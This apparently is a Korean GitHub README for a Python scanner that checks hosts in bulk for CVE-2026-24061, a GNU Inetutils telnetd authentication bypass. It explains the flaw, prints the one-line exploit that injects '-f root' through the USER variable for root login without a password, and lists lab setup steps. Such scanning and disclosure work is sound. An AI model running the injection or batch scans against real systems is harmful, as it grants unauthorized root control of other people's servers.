monstertsl/cve-2026-24061Python 기반 스캐너로 GNU Inetutils telnetd의 CVE-2026-24061을 탐지하며, 인증 우회 취약점에 대해 여러 대상을 일괄 테스트할 수 있습니다.
⚠️ 참고:
CVE-2026-24061GNU Inetutils는 GNU 프로젝트에서 제공하는 클래식 네트워크 도구 모음으로, 여기에는 telnetd 서비스, 즉 Telnet 서버 데몬이 포함되어 있습니다. 1.9.3 ~ 2.7 버전에서 telnetd 서비스의 사용자 인증 프로세스에 치명적인 결함이 존재합니다. 이 서비스는 시스템 로그인 프로그램 /usr/bin/login을 호출할 때 클라이언트가 전달한 USER 환경 변수를 효과적으로 필터링하거나 검증하지 못합니다. 공격자는 특정 USER 변수 값을 설정하여 -f 매개변수를 login 명령에 직접 주입할 수 있습니다. login 프로그램의 -f 매개변수는 "2차 인증 건너뛰기"에 사용되며, 이를 통해 공격자는 모든 비밀번호 검증 절차를 완전히 우회하고 root 사용자로 원격 세션을 직접 수립하여 서버의 최고 제어권을 획득할 수 있습니다. 이 취약점은 매우 위험하며, 자격 증명 없이 사용 가능한 공개 원격 root 백도어와 같습니다.
USER='-f root' telnet -a <target_ip>
python3 cve-2026-24061.py -i 10.10.168.128
python3 cve-2026-24061.py -f targets.txt
위 명령은 환경 변수 USER를 -f root로 설정합니다. 취약점이 존재하는 telnetd 서비스가 연결을 수신하면 다음과 유사한 시스템 호출을 구성하여 실행합니다:
sudo apt update
sudo apt install openbsd-inetd inetutils-telnetd telnet -y
sudo sed -i 's/^#telnet/telnet/' /etc/inetd.conf
sudo systemctl restart openbsd-inetd
sudo ss -tuln | grep ':23'
telnet localhost 23